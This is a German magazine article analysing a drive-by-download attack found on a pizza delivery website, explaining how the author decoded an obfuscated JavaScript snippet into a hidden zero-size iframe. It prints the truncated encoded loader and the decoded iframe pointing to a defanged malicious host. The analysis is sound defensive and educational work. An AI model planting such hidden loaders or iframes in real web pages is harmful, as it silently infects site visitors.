Tatort Internet: Alarm beim Pizzadienst

Als ich mir auf der Webseite meines Lieblingspizzadienstes grade eine Pizza aussuchen will, schlägt der Wächter meiner Antivirensoftware Alarm: Eine Trojaner.Backdoor will er gefunden und unschädlich gemacht haben. Mal sehn, was da los ist.

In Pocket speichern vorlesen Druckansicht
Lesezeit: 13 Min.
Von
  • Thorsten Holz
Inhaltsverzeichnis

Heute hab ich eigentlich noch nichts an diesem Rechner gemacht und normalerweise halte ich den auch sauber. Es hat also wahrscheinlich etwas mit der Webseite zu tun, die ich gerade geöffnet habe. Mein erster Blick gilt somit deren Quelltext. Wenn es wirklich ein Angriff ist, sollten sich im HTML-Code irgendwo Anhaltspunkte dafür finden lassen.

Nach kurzer Suche werde ich fĂĽndig; am Ende der Seite taucht ein merkwĂĽrdiges StĂĽck JavaScript-Code auf:

<script>var c ='%25%33%43%69%66%72%61%6d%65[ ... ]%25%33%45';
var d=unescape(unescape(c));
document.write(unescape(d));
</script>

Das Böse lauert nicht nur in den Schmuddelecken. Immer öfter beherbergen eigentlich harmlose Webseiten sogenannte Drive-by-Downloads.

Das sieht schon sehr nach Unrat aus. Im Wesentlichen jagt es eine lange Kette hexadezimal-kodierter Zeichen mehrfach durch die JavaScript-Funktion unescape(), um sie dann via document.write direkt in die bereits im Browser geladene Webseite zu schreiben. Typisch fĂĽr Drive-by-Downloads!

Doch wieso kann eine Webseite einfach so einen Trojaner auf mein System schieben? Ich hab doch nichts angeklickt. Um zu verstehen, was da genau vor sich geht, muss ich irgendwie an den Klartext des Codes kommen. Auf einem Testsystem würde ich nun die Seite abspeichern und den Schreibbefehl einfach durch ein alert() ersetzen. Dann präsentierte mir der Browser den dekodierten Text auf dem Silbertablett in einem Popup-Fenster. Aber das hier ist mein privater Rechner, da ist mir das zu heikel. Wer weiß schon, was der Kerl noch so alles in petto hat (wenn es denn wirklich ein Kerl ist).

Also gehe ich den etwas umständlicheren, aber sicheren Weg und benutze SpiderMonkey, um den Code auszuführen. Doch als ich der JavaScript-Engine von Mozilla den Script-Schnipsel als Textdatei vorwerfe, ernte ich erst einmal die Fehlermeldung "ReferenceError: document is not defined". Kein Wunder, denn das Objekt document ist nur im Kontext eines Browsers definiert. Doch nachdem ich document.write() durch ein einfaches print() ersetzt habe, funktioniert alles wie geplant:

$ js 1.js
<iframe src="hxxp://tissot333.cn/eleonore/index.php"
width="0" height="0" frameborder="0">
</iframe>

Irgend jemand hat also in die Webseite meines Lieblingspizzadienstes einen IFrame mit einer Referenz auf eine andere Webseite eingebaut. Wahrscheinlich hat er dazu eine Schwachstelle in der eingesetzten Software ausgenutzt und den Code beispielsweise via SQL-Injection eingeschleust. Null als Höhe und Breite des eingebetteten IFrames machen ihn quasi unsichtbar – das lässt Böses ahnen.

Mehr Infos

Die im Text dieses Artikels auftauchenden Code-Fragmente können dazu führen, dass Ihr Virenwächter Alarm schlägt. Dabei handelt es sich dann um einen Fehlalarm.